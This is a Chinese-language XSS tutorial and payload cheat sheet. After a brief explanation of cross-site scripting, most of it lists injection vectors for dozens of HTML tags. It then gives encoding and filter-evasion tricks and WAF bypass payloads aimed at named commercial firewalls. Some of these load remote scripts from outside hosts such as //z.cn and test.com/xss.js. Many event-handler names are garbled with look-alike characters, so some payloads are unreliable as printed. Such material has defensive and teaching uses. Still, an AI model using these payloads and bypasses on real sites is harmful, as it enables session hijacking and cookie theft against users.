XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
简述
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。
XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。
原理
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
类型
从攻击代码的工作方式可以分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
攻击方式
常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
常用标签语句
0x01. <a> 标签
<a href="javascript:alert(1)">test</a> <a href="x" οnfοcus="alert('xss');" autofocus="">xss</a> <a href="x" οnclick=eval("alert('xss');")>xss</a> <a href="x" οnmοuseοver="alert('xss');">xss</a> <a href="x" οnmοuseοut="alert('xss');">xss</a>
0x02. <img>标签
<img src=x οnerrοr="alert(1)"> <img src=x οnerrοr=eval("alert(1)")> <img src=1 οnmοuseοver="alert('xss');"> <img src=1 οnmοuseοut="alert('xss');"> <img src=1 οnclick="alert('xss');">
0x03. <iframe>标签
<iframe src="javascript:alert(1)">test</iframe> <iframe οnlοad="alert(document.cookie)"></iframe> <iframe οnlοad="alert('xss');"></iframe> <iframe οnlοad="base64,YWxlcnQoJ3hzcycpOw=="></iframe> <iframe οnmοuseοver="alert('xss');"></iframe> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
0x04. <audio> 标签
<audio src=1 οnerrοr=alert(1)> <audio><source src="x" οnerrοr="alert('xss');"></audio> <audio controls οnfοcus=eval("alert('xss');") autofocus=""></audio> <audio controls οnmοuseοver="alert('xss');"><source src="x"></audio>
0x05. <video>标签
<video src=x οnerrοr=alert(1)> <video><source οnerrοr="alert('xss');"></video> <video controls οnmοuseοver="alert('xss');"></video> <video controls οnfοcus="alert('xss');" autofocus=""></video> <video controls οnclick="alert('xss');"></video>
0x06. <svg> 标签
<svg οnlοad=javascript:alert(1)> <svg οnlοad="alert('xss');"></svg>
0x07. <button> 标签
<button οnclick=alert(1)> <button οnfοcus="alert('xss');" autofocus="">xss</button> <button οnclick="alert('xss');">xss</button> <button οnmοuseοver="alert('xss');">xss</button> <button οnmοuseοut="alert('xss');">xss</button> <button οnmοuseup="alert('xss');">xss</button> <button οnmοusedοwn="alert('xss');"></button>
0x08. <div>标签
这个需要借助url编码来实现绕过
原代码: <div οnmοuseοver='alert(1)'>DIV</div> 经过url编码: <div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
0x09. <object>标签
这个需要借助 data 伪协议和 base64 编码来实现绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
0x10. <script> 标签
<script>alert('xss')</script> <script>alert(/xss/)</script> <script>alert(123)</script>
0x11. <p> 标签
<p οnclick="alert('xss');">xss</p> <p οnmοuseοver="alert('xss');">xss</p> <p οnmοuseοut="alert('xss');">xss</p> <p οnmοuseup="alert('xss');">xss</p>
0x12. <input> 标签
<input οnclick="alert('xss');"> <input οnfοcus="alert('xss');"> <input οnfοcus="alert('xss');" autofocus=""> <input οnmοuseοver="alert('xss');"> <input type="text" οnkeydοwn="alert('xss');"></input> <input type="text" οnkeypress="alert('xss');"></input> <input type="text" οnkeydοwn="alert('xss');"></input>
0x13. <details>标签
<details οntοggle="alert('xss');"></details> <details οntοggle="alert('xss');" open=""></details>
0x14. <select> 标签
<select οnfοcus="alert('xss');" autofocus></select> <select οnmοuseοver="alert('xss');"></select> <select οnclick=eval("alert('xss');")></select>
0x15. <form> 标签
<form method="x" action="x" οnmοuseοver="alert('xss');"><input type=submit></form>
<form method="x" action="x" οnmοuseοut="alert('xss');"><input type=submit></form>
<form method="x" action="x" οnmοuseup="alert('xss');"><input type=submit></form>
0x16. <body> 标签
<body οnlοad="alert('xss');"></body>
二、xss 常见绕过
编码绕过
浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE)。
0x01. html 实体编码
当可控点为单个标签属性时,可以使用 html 实体编码。
<a href="可控点">test</a> <iframe src="可控点">test<iframe> <img src=x οnerrοr="可控点">
Payload
<a href="javascript:alert(1)">test</a>
十进制
<a href="javascript:alert(1)">test</a>
十六进制
<a href="javascript:alert(1)">test</a>
可以不带分号
<a href="javascript:alert(1)">test</a>
可以填充0
<a href="javascript:alert(1)">test</a>
0x02. url 编码
当注入点存在 href 或者 src 属性时,可以使用 url 编码。
<a href="可控点">test</a> <iframe src="可控点">test</iframe>
Payload
<a href="javascript:alert(1)">test</a> <iframe src="javascript:alert(1)">test</iframe>
注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a> <iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
可以二次编码
<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a> <iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</iframe>
0x03. js 编码
解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074
进行解码后为alert
,而alert
是一个有效的标识符名称,它是能被正常解析的。但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。
由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。
js 编码策略:
-
"\" 加上三个八进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\074"
-
"\x" 加上两个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\x3c"
-
"\u" 加上四个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\u003c"
-
对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)
<img src=x οnerrοr="可控点"> <input οnfοcus=location="可控点" autofocus>
Payload
<img src=x οnerrοr="alert(1)"> <input οnfοcus=location="alert(1)" autofocus>
Unicode 编码
<img src=x οnerrοr="\u0061\u006c\u0065\u0072\u0074(1)"> <input οnfοcus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
注:
Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 "1" 进行编码,框号编码后会被当成文本字符,不能执行。ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval("alert(1)"),可以对 "alert(1)" 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。
八进制和十六进制
setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。
语法:setTimeout(要执行的代码, 等待的毫秒数)
setTimeout(JavaScript 函数, 等待的毫秒数)
1.<svg/οnlοad=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')> 2.<svg/οnlοad=setTimeout('\141\154\145\162\164\050\061\051')> 3.<svg/οnlοad=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')> 4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script> 5.<script>eval("\141\154\145\162\164\050\061\051")</script> 6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
0x04. 混合编码
<a href="可控点">test</a>
Payload
<a href="javascript:alert(1)">test</a>
html 编码
<a href="javascript:alert(1)">test</a>
Unicode 编码
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
注:Unicode 编码不能对括号使用
url 编码
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。
1. 原代码 <a href="javascript:alert(1)">test</a> 2. 对alert进行JS编码(unicode编码) <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a> 3. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码 <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a> 4. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码: <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。
0x05. base64 编码
base64 编码通常需要使用到 data 伪协议。
data 协议使用方法:data:资源类型;编码,内容
base64编码内容为
<script>alert(/xss/)</script> PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=
通常与 base64 编码配合 data 协议的标签有 <object>、<a>、<iframe>
1.<object> 标签 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object> 2.<a> 标签 <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a> (新版浏览器不支持) 3.<iframe> 标签 <iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe> 4.<embed> 标签 <embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
atob 函数
atob() 方法用于解码使用 base-64 编码的字符串。
语法:window.atob(encodedStr)
(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)
1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a> 2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a> 3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a> 4.<img src=x οnmοuseοver="eval(window.atob('YWxlcnQoMSk='))"> 5.<img src=x οnerrοr="eval(atob('YWxlcnQoMSk='))"> 6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
0x06. ascii 编码
ascii 编码一般配合String.fromCharCode
使用。
alert(1) 十进制:97, 108, 101, 114, 116, 40, 49, 41 十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29
十进制
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>
十六进制
<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>
空格过滤绕过
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>
圆括号过滤绕过
0x01. 反引号替换
<script>alert`1`</script>
0x02. throw 绕过
<video src οnerrοr="javascript:window.οnerrοr=alert;throw 1"> <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
单引号过滤绕过
0x01. 斜杠替换
<script>alert(/xss/)</script>
0x02. 反引号替换
<script>alert(`xss`)</script>
alert 过滤绕过
0x01. prompt 替换
<script>prompt(/xss/)</script>
0x02. confirm 替换
<script>confirm(/xss/)</script>
0x03. console.log 替换
<script>console.log(3)</script>
0x04. document.write 替换
<script>document.write(1)</script>
0x05. base64 绕过
<img src=x οnerrοr="Function`a${atob`YWxlcnQoMSk=`}```"> <img src=x οnerrοr="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
关键词置空绕过
0x01. 大小写绕过
<script>alert(/xss/)</script>
可以转换为
<ScRiPt>AlErT(/xss/)</sCrIpT>
0x02. 嵌套绕过
嵌套<script>和</script>突破
<script>alert(/xss/)</script>
可以转换为
<sc<script>ript>alert(/xss/)</sc</script>ript>
函数拼接
0x01. eval
<img src="x" οnerrοr="eval('al'+'ert(1)')">
0x02. top
<img src="x" οnerrοr="top['al'+'ert'](1)">
0x03. window
<img src="x" οnerrοr="window['al'+'ert'](1)">
0x04. self
<img src="x" οnerrοr="self[`al`+`ert`](1)">
0x05. parent
<img src="x" οnerrοr="parent[`al`+`ert`](1)">
0x06. frames
<img src="x" οnerrοr="frames[`al`+`ert`](1)">
0x07. 常用函数
<img src="x" οnerrοr="eval(alert(1))"> <img src="x" οnerrοr="open(alert(1))"> <img src="x" οnerrοr="document.write(alert(1))"> <img src="x" οnerrοr="setTimeout(alert(1))"> <img src="x" οnerrοr="setInterval(alert(1))"> <img src="x" οnerrοr="Set.constructor(alert(1))"> <img src="x" οnerrοr="Map.constructor(alert(1))"> <img src="x" οnerrοr="Array.constructor(alert(1))"> <img src="x" οnerrοr="WeakSet.constructor(alert(1))"> <img src="x" οnerrοr="constructor.constructor(alert(1))"> <img src="x" οnerrοr="[1].map(alert(1))"> <img src="x" οnerrοr="[1].find(alert(1))"> <img src="x" οnerrοr="[1].every(alert(1))"> <img src="x" οnerrοr="[1].filter(alert(1))"> <img src="x" οnerrοr="[1].forEach(alert(1))"> <img src="x" οnerrοr="[1].findIndex(alert(1))">
赋值拼接
<img src οnerrοr=_=alert,_(1)> <img src x=al y=ert οnerrοr=top[x+y](1)> <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')> <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
火狐IE专属
<marquee onstart=alert(1)>
拆分法
当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过。
<script>a='document.write("'</script> <script>a=a+'<script src=ht'</script> <script>a=a+'tp://test.com/xs'</script> <script>a=a+'s.js></script>")'</script> <script>eval(a)</script>
通过上面的拆分法可以拼凑出下面完整的攻击向量:
document.write("<script src = http://test.com/xss.js></script>")
三、绕过 waf 拦截
安全狗
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/οnerrοr=top[`al`%2B`ert`](1);> http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/οnerrοr=appendChild(createElement("script")).src="//z.cn">
D盾
http://www.d99net.net/News.asp?id=126<video/src/οnlοadstart=top[`al`%2B`ert`](1);> http://www.d99net.net/News.asp?id=126<video/src/οnlοadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
云锁+奇安信 waf
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/οnlοadstart=top[`al`%2B`ert`](1);> http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/οnlοadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>